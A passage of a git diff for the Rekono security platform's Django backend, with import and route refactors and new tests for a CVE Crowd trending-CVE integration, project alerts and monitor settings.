[Role.ADMIN], + "delete": [], + }, + "monitorsettings": { + "view": [Role.ADMIN], + "add": [], + "change": [Role.ADMIN], + "delete": [], + }, } diff --git a/src/backend/security/validators/input_validator.py b/src/backend/security/validators/input_validator.py index 738a60efd..091c07d50 100644 --- a/src/backend/security/validators/input_validator.py +++ b/src/backend/security/validators/input_validator.py @@ -4,8 +4,8 @@ from re import RegexFlag from typing import Any +from django.core.exceptions import ValidationError from django.core.validators import RegexValidator -from django.forms import ValidationError from django.utils import timezone logger = logging.getLogger() diff --git a/src/backend/security/validators/target_validator.py b/src/backend/security/validators/target_validator.py index fafe51e2b..e052fca09 100644 --- a/src/backend/security/validators/target_validator.py +++ b/src/backend/security/validators/target_validator.py @@ -3,9 +3,8 @@ from re import RegexFlag from typing import Any +from django.core.exceptions import ValidationError from django.core.validators import RegexValidator -from django.forms import ValidationError - from target_blacklist.models import TargetBlacklist diff --git a/src/backend/tasks/views.py b/src/backend/tasks/views.py index 455da25a9..edf15bc31 100644 --- a/src/backend/tasks/views.py +++ b/src/backend/tasks/views.py @@ -100,8 +100,8 @@ def destroy(self, request: Request, *args: Any, **kwargs: Any) -> Response: ) @extend_schema(request=None, responses={200: TaskSerializer}) - @action(detail=True, methods=["POST"], url_path="repeat", url_name="repeat") - def repeat_task(self, request: Request, pk: str) -> Response: + @action(detail=True, methods=["POST"]) + def repeat(self, request: Request, pk: str) -> Response: """Repeat task execution. Args: diff --git a/src/backend/tests/platforms/test_cvecrowd.py b/src/backend/tests/platforms/test_cvecrowd.py new file mode 100644 index 000000000..d65918d86 --- /dev/null +++ b/src/backend/tests/platforms/test_cvecrowd.py @@ -0,0 +1,148 @@ +from typing import Any, List +from unittest import mock + +from alerts.enums import AlertItem, AlertMode +from alerts.models import Alert +from findings.enums import Severity +from findings.models import Vulnerability +from platforms.cvecrowd.integrations import CVECrowd +from platforms.cvecrowd.models import CVECrowdSettings +from tests.cases import ApiTestCase +from tests.framework import ApiTest, RekonoTest + + +def success(*args: Any, **kwargs: Any) -> List[str]: + return ["CVE-2020-1111", "CVE-2021-1112", "CVE-2022-1113"] + + +def not_found(*args: Any, **kwargs: Any) -> List[str]: + return [] + + +class CVECrowdTest(RekonoTest): + def setUp(self) -> None: + super().setUp() + self._setup_tasks_and_executions() + self.not_trending = Vulnerability.objects.create( + name="not trending", + description="not trending", + cve="CVE-2023-9999", + severity=Severity.LOW, + ) + self.trending = Vulnerability.objects.create( + name="trending", + description="trending", + cve="CVE-2022-1113", + severity=Severity.HIGH, + ) + self.not_trending.executions.add(self.execution3) + self.trending.executions.add(self.execution3) + self.settings = CVECrowdSettings.objects.first() + self.settings.secret = "fake-token" + self.settings.save(update_fields=["_api_token"]) + Alert.objects.create( + project=self.execution3.task.target.project, + item=AlertItem.CVE, + mode=AlertMode.MONITOR, + enabled=True, + ) + self.cvecrowd = CVECrowd() + + def _verify_success(self) -> None: + self.assertTrue(Vulnerability.objects.get(pk=self.trending.id).trending) + self.assertFalse(Vulnerability.objects.get(pk=self.not_trending.id).trending) + + def _verify_error(self) -> None: + self.assertFalse(Vulnerability.objects.get(pk=self.trending.id).trending) + self.assertFalse(Vulnerability.objects.get(pk=self.not_trending.id).trending) + + @mock.patch("platforms.cvecrowd.integrations.CVECrowd._request", success) + def test_process_findings(self) -> None: + self.cvecrowd.process_findings( + self.execution3, [self.trending, self.not_trending] + ) + self._verify_success() + + @mock.patch("platforms.cvecrowd.integrations.CVECrowd._request", not_found) + def test_process_findings_not_found(self) -> None: + self.cvecrowd.process_findings( + self.execution3, [self.trending, self.not_trending] + ) + self._verify_error() + + @mock.patch("platforms.cvecrowd.integrations.CVECrowd._request", success) + def test_process_findings_not_enabled(self) -> None: + self.settings.execute_per_execution = False + self.settings.save(update_fields=["execute_per_execution"]) + self.cvecrowd = CVECrowd() + self.cvecrowd.process_findings( + self.execution3, [self.trending, self.not_trending] + ) + self._verify_error() + + @mock.patch("platforms.cvecrowd.integrations.CVECrowd._request", success) + def test_monitor(self) -> None: + self.cvecrowd.monitor() + self._verify_success() + + @mock.patch("platforms.cvecrowd.integrations.CVECrowd._request", not_found) + def test_monitor_not_found(self) -> None: + self.cvecrowd.monitor() + self._verify_error() + + +new_settings = { + "api_token": "cve-crowd-token", + "trending_span_days": 3, + "execute_per_execution": False, +} +invalid_settings = {**new_settings, "trending_span_days": 10} + + +class CVECrowdSettingsTest(ApiTest): + endpoint = "/api/cvecrowd/1/" + expected_str = "CVE Crowd" + cases = [ + ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "get", 403), + ApiTestCase( + ["admin1", "admin2"], + "get", + 200, + expected={ + "id": 1, + "api_token": None, + "trending_span_days": 7, + "execute_per_execution": True, + }, + ), + ApiTestCase( + ["auditor1", "auditor2", "reader1", "reader2"], "put", 403, new_settings + ), + ApiTestCase(["admin1", "admin2"], "put", 400, invalid_settings), + ApiTestCase( + ["admin1", "admin2"], + "put", + 200, + new_settings, + expected={ + "id": 1, + **new_settings, + "api_token": "*" * len(str(new_settings.get("api_token", ""))), + "is_available": False, + }, + ), + ApiTestCase( + ["admin1", "admin2"], + "get", + 200, + expected={ + "id": 1, + **new_settings, + "api_token": "*" * len(str(new_settings.get("api_token", ""))), + "is_available": False, + }, + ), + ] + + def _get_object(self) -> Any: + return CVECrowdSettings.objects.first() diff --git a/src/backend/tests/platforms/test_nvd_nist.py b/src/backend/tests/platforms/test_nvdnist.py similarity index 82% rename from src/backend/tests/platforms/test_nvd_nist.py rename to src/backend/tests/platforms/test_nvdnist.py index 366978a53..6ae221ab3 100644 --- a/src/backend/tests/platforms/test_nvd_nist.py +++ b/src/backend/tests/platforms/test_nvdnist.py @@ -3,7 +3,7 @@ from findings.enums import Severity from findings.models import Vulnerability -from platforms.nvd_nist import NvdNist +from platforms.nvdnist import NvdNist from tests.framework import RekonoTest success = { @@ -57,7 +57,7 @@ def setUp(self) -> None: name="test", description="test", cve="CVE-2023-1111", severity=Severity.LOW ) self.vulnerability.executions.add(self.execution3) - self.nvd_nist = NvdNist() + self.nvdnist = NvdNist() def _test( self, @@ -66,25 +66,25 @@ def _test( cwe: Optional[str] = "CWE-200", description: str = "description", ) -> None: - self.nvd_nist.process_findings(self.execution3, [self.vulnerability]) + self.nvdnist.process_findings(self.execution3, [self.vulnerability]) self.assertEqual(reference, self.vulnerability.reference) self.assertEqual(cwe, self.vulnerability.cwe) self.assertEqual(description, self.vulnerability.description) self.assertEqual(severity, self.vulnerability.severity) - @mock.patch("platforms.nvd_nist.NvdNist._request", success_cvss_3) + @mock.patch("platforms.nvdnist.NvdNist._request", success_cvss_3) def test_integration_cvss_3(self) -> None: self._test( Severity.CRITICAL, - self.nvd_nist.reference.format(cve=self.vulnerability.cve), + self.nvdnist.reference.format(cve=self.vulnerability.cve), ) - @mock.patch("platforms.nvd_nist.NvdNist._request", success_cvss_2) + @mock.patch("platforms.nvdnist.NvdNist._request", success_cvss_2) def test_integration_cvss_2(self) -> None: self._test( - Severity.HIGH, self.nvd_nist.reference.format(cve=self.vulnerability.cve) + Severity.HIGH, self.nvdnist.reference.format(cve=self.vulnerability.cve) ) - @mock.patch("platforms.nvd_nist.NvdNist._request", not_found) + @mock.patch("platforms.nvdnist.NvdNist._request", not_found) def test_integration_not_found(self) -> None: self._test(Severity.LOW, None, None, "test") diff --git a/src/backend/tests/test_alerts.py b/src/backend/tests/test_alerts.py new file mode 100644 index 000000000..bd47f93e1 --- /dev/null +++ b/src/backend/tests/test_alerts.py @@ -0,0 +1,403 @@ +from typing import Any + +from alerts.enums import AlertItem, AlertMode +from alerts.models import Alert, MonitorSettings +from tests.cases import ApiTestCase +from tests.framework import ApiTest + +new_alert = { + "project": 1, + "item": AlertItem.HOST.value, + "mode": AlertMode.NEW.value, + "suscribe_all_members": True, +} +filter_alert = { + "project": 1, + "item": AlertItem.SERVICE.value, + "mode": AlertMode.FILTER.value, + "value": "ssh", + "suscribe_all_members": False, +} +invalid_filter_alert = {**filter_alert, "value": None} +monitor_alert = { + "project": 1, + "item": AlertItem.CVE.value, + "mode": AlertMode.MONITOR.value, + "suscribe_all_members": False, +} + + +class AlertTest(ApiTest): + endpoint = "/api/alerts/" + expected_str = "test - Filter - CVE - CVE-2020-1111" + cases = [ + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=[], + ), + ApiTestCase(["admin2", "auditor2", "reader2"], "post", 403, new_alert), + ApiTestCase( + ["admin1"], + "post", + 201, + new_alert, + { + "id": 1, + **new_alert, + "suscribe_all_members": None, + "suscribed": True, + "enabled": True, + "owner": {"id": 1, "username": "admin1"}, + }, + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected=[ + { + "id": 1, + **new_alert, + "suscribe_all_members": None, + "suscribed": True, + "enabled": True, + "owner": {"id": 1, "username": "admin1"}, + } + ], + ), + ApiTestCase(["admin2", "auditor2", "reader2"], "get", 200, expected=[]), + ApiTestCase( + ["auditor1", "reader1"], "post", 403, endpoint="{endpoint}1/enable/" + ), + ApiTestCase(["admin1"], "post", 400, endpoint="{endpoint}1/enable/"), + ApiTestCase( + ["admin1"], + "delete", + 200, + expected={ + "id": 1, + **new_alert, + "suscribe_all_members": None, + "suscribed": True, + "enabled": False, + "owner": {"id": 1, "username": "admin1"}, + }, + endpoint="{endpoint}1/enable/", + ), + ApiTestCase(["admin1"], "delete", 400, endpoint="{endpoint}1/enable/"), + ApiTestCase( + ["admin1"], + "post", + 200, + expected={ + "id": 1, + **new_alert, + "suscribe_all_members": None, + "suscribed": True, + "enabled": True, + "owner": {"id": 1, "username": "admin1"}, + }, + endpoint="{endpoint}1/enable/", + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected=[ + { + "id": 1, + **new_alert, + "suscribe_all_members": None, + "suscribed": True, + "enabled": True, + "owner": {"id": 1, "username": "admin1"}, + } + ], + ), + ApiTestCase(["auditor1", "reader1"], "delete", 403, endpoint="{endpoint}1/"), + ApiTestCase(["admin1"], "delete", 204, endpoint="{endpoint}1/"), + ApiTestCase( + ["admin1", "auditor1", "reader1"], "post", 400, invalid_filter_alert + ), + ApiTestCase( + ["auditor1"], + "post", + 201, + filter_alert, + { + "id": 2, + **filter_alert, + "suscribe_all_members": None, + "suscribed": True, + "enabled": True, + "owner": {"id": 3, "username": "auditor1"}, + }, + ), + ApiTestCase( + ["admin1", "reader1"], + "get", + 200, + expected=[ + { + "id": 2, + **filter_alert, + "suscribe_all_members": None, + "suscribed": False, + "enabled": True, + "owner": {"id": 3, "username": "auditor1"}, + }, + ], + ), + ApiTestCase( + ["auditor1"], + "get", + 200, + expected=[ + { + "id": 2, + **filter_alert, + "suscribe_all_members": None, + "suscribed": True, + "enabled": True, + "owner": {"id": 3, "username": "auditor1"}, + }, + ], + ), + ApiTestCase( + ["admin1", "reader1"], "post", 204, endpoint="{endpoint}2/suscription/" + ), + ApiTestCase( + ["admin1", "reader1"], "post", 400, endpoint="{endpoint}2/suscription/" + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected=[ + { + "id": 2, + **filter_alert, + "suscribe_all_members": None, + "suscribed": True, + "enabled": True, + "owner": {"id": 3, "username": "auditor1"}, + }, + ], + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "delete", + 204, + endpoint="{endpoint}2/suscription/", + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "delete", + 400, + endpoint="{endpoint}2/suscription/", + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected=[ + { + "id": 2, + **filter_alert, + "suscribe_all_members": None, + "suscribed": False, + "enabled": True, + "owner": {"id": 3, "username": "auditor1"}, + }, + ], + ), + ApiTestCase( + ["reader1"], "put", 403, {"value": "http"}, endpoint="{endpoint}2/" + ), + ApiTestCase( + ["auditor1"], + "put", + 200, + {"value": "http"}, + { + "id": 2, + **filter_alert, + "suscribe_all_members": None, + "value": "http", + "suscribed": False, + "enabled": True, + "owner": {"id": 3, "username": "auditor1"}, + }, + "{endpoint}2/", + ), + ApiTestCase( + ["admin1"], + "put", + 200, + {"value": "https"}, + { + "id": 2, + **filter_alert, + "suscribe_all_members": None, + "value": "https", + "suscribed": False, + "enabled": True, + "owner": {"id": 3, "username": "auditor1"}, + }, + "{endpoint}2/", + ), + ApiTestCase(["reader1"], "delete", 403, endpoint="{endpoint}2/"), + ApiTestCase(["auditor1"], "delete", 204, endpoint="{endpoint}2/"), + ApiTestCase( + ["reader1"], + "post", + 201, + monitor_alert, + { + "id": 3, + **monitor_alert, + "suscribe_all_members": None, + "suscribed": True, + "enabled": True, + "owner": {"id": 5, "username": "reader1"}, + }, + ), + ApiTestCase( + ["admin1", "auditor1"], + "get", + 200, + expected=[ + { + "id": 3, + **monitor_alert, + "suscribe_all_members": None, + "suscribed": False, + "enabled": True, + "owner": {"id": 5, "username": "reader1"}, + }, + ], + ), + ApiTestCase( + ["reader1"], + "get", + 200, + expected=[ + { + "id": 3, + **monitor_alert, + "suscribe_all_members": None, + "suscribed": True, + "enabled": True, + "owner": {"id": 5, "username": "reader1"}, + }, + ], + ), + ApiTestCase(["auditor1"], "delete", 403, endpoint="{endpoint}3/"), + ApiTestCase(["admin1"], "delete", 204, endpoint="{endpoint}3/"), + ] + + def setUp(self) -> None: + super().setUp() + self._setup_tasks_and_executions() + self._setup_findings(self.execution3) + + def _get_object(self) -> Any: + return Alert.objects.create( + project=self.project, + mode=AlertMode.FILTER, + item=AlertItem.CVE, + value="CVE-2020-1111", + ) + + def test_must_be_triggered(self) -> None: + for alert, finding, expected in [ + ( + Alert.objects.create( + project=self.execution3.task.target.project, + mode=AlertMode.MONITOR, + item=AlertItem.CVE, + ), + self.vulnerability, + False, + ), + ( + Alert.objects.create( + project=self.execution3.task.target.project, + mode=AlertMode.NEW, + item=AlertItem.HOST, + ), + self.host, + True, + ), + ( + Alert.objects.create( + project=self.execution3.task.target.project, + mode=AlertMode.NEW, + item=AlertItem.OPEN_PORT, + ), + self.host, + False, + ), + ( + Alert.objects.create( + project=self.execution3.task.target.project, + mode=AlertMode.FILTER, + item=AlertItem.SERVICE, + value="ssh", + ), + self.port, + False, + ), + ( + Alert.objects.create( + project=self.execution3.task.target.project, + mode=AlertMode.FILTER, + item=AlertItem.SERVICE, + value="http", + ), + self.port, + True, + ), + ]: + self.assertEqual( + expected, alert.must_be_triggered(self.execution3, finding) + ) + + +new_monitor = {"hour_span": 48} +invalid_monitor_1 = {"hour_span": 169} +invalid_monitor_2 = {"hour_span": 23} + + +class MonitorSettingsTest(ApiTest): + endpoint = "/api/monitor/1/" + expected_str = "Last monitor was at None. Next one in 24 hours" + cases = [ + ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "get", 403), + ApiTestCase( + ["admin1", "admin2"], + "get", + 200, + expected={"id": 1, "last_monitor": None, "hour_span": 24}, + ), + ApiTestCase(["admin1", "admin2"], "put", 400, invalid_monitor_1), + ApiTestCase(["admin1", "admin2"], "put", 400, invalid_monitor_2), + ApiTestCase( + ["admin1", "admin2"], + "put", + 200, + new_monitor, + expected={"id": 1, "last_monitor": None, **new_monitor}, + ), + ApiTestCase( + ["admin1", "admin2"], + "get", + 200, + expected={"id": 1, "last_monitor": None, **new_monitor}, + ), + ] + + def _get_object(self) -> Any: + return MonitorSettings.objects.first() diff --git a/src/backend/tests/test_integrations.py b/src/backend/tests/test_integrations.py index af9bcfce4..2553a4858 100644 --- a/src/backend/tests/test_integrations.py +++ b/src/backend/tests/test_integrations.py @@ -14,6 +14,7 @@ class IntegrationTest(ApiTest): "get", 200, expected=[ + {"id": 4, "enabled": True}, {"id": 3, "enabled": True}, {"id": 2, "enabled": True}, {"id": 1, "enabled": True}, @@ -38,6 +39,7 @@ class IntegrationTest(ApiTest): "get", 200, expected=[ + {"id": 4, "enabled": True}, {"id": 3, "enabled": True}, {"id": 2, "enabled": True}, {"id": 1, "enabled": False}, diff --git a/src/backend/users/views.py b/src/backend/users/views.py index f633cf31b..03d8c3f00 100644 --- a/src/backend/users/views.py +++ b/src/backend/users/views.py @@ -129,7 +129,7 @@ def destroy(self, request: Request, *args: Any, **kwargs: Any) -> Response: return Response(status=status.HTTP_204_NO_CONTENT) @extend_schema(request=None, responses={200: UserSerializer}) - @action(detail=True, methods=["POST"], url_path="enable") + @action(detail=True, methods=["POST"]) def enable(self, request: Request, pk: str) -> Response: """Enable disabled user.